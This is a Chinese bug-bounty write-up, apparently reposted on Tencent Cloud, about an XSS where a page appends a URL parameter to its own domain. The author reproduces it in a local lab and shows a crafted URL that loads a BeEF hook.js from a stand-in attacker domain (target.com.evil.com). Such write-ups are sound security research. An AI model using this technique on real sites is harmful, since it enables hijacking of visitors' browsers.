前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记录一次有点儿不一样的XSS

记录一次有点儿不一样的XSS

作者头像
TeamsSix
发布2021-01-21 10:44:19
6020
发布2021-01-21 10:44:19
举报

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。 雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

前言

最近在挖SRC的时候,碰到一个有点儿不一样的XSS,在此简单记录一下。

为了展示出较好的效果同时不泄露网站相关信息, 这里我在自己本地按照当时目标的情况简单搭建了一个靶场。

注意:文中的target.com代指目标域名,evil.com代指自己的攻击域名。

No.1

发现

在测试过程中,发现目标存在这样的一个 URL

代码语言:javascript
复制
http://target.com/index.html?/test.html

在当前页面中包含了URL参数里的页面,如果将/test.html改为不存在的页面就会提示404

查看一下源码,可以发现页面将传参的内容与站点域名进行了拼接,随后对该页面进行访问

No.2

思考利用

目标看到这里,刚开始只是尝试的一些常规的 XSS Payload,发现目标都进行了很好的过滤,于是陷入了短暂的思考中。

之后再看看源码,想着既然它是把参数后的值拼接到站点域名后面,那如果我有个target.com.evil.com的域名,我在URL中传参.evil.com,页面拼接后所访问的地址不就是这样:

代码语言:javascript
复制
http://target.com.evil.com

这样一来,我在target.com.evil.com站点下,开个beef,在我访问http://target.com/index.html?.evil.com的时候,目标页面就会访问到我自己的域名,如果访问的域名页面中包含了 beef 的 hook.js,那目标不就上线了嘛,nice

开整!

首先要有个域名和 vps ,有了域名后再设置一个 target.com 的子域名,设置子域名也很简单,直接在域名的DNS记录中添加一条A记录即可,名称就是target.com,内容就是要解析的 vps IP 地址。

测试一下,beef 的 hook.js 能不能访问

在 beef 的 hook.js 页面可以成功访问之后,就可以构造 URL 了,这时只要 URL 后传入一个包含 hook.js 的页面就可以上线了,这里以 beef 的 demo 页面/demos/basic.html作为示例。

最后构造 URL 为:

代码语言:javascript
复制
http://target.com/index.html?.evil.com:3000/demos/basic.html

浏览器打开该页面

可以看到当前页面成功访问到了target.com.evil.com:3000/demos/basic.html,此时看看 beef 里有没有上线

beef 成功上线,最后再来弹个窗,嘿嘿

No.3

最后

这个漏洞提交上去之后,相较于之前提交的较为常规的XSS,厂商给这个XSS 是其双倍的积分。

平时自己还是要多多理解漏洞产生的原因才是,要是直接用工具扫、Fuzz字典跑估计就发现利用不了这个洞了。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-01-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 TeamsSix 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档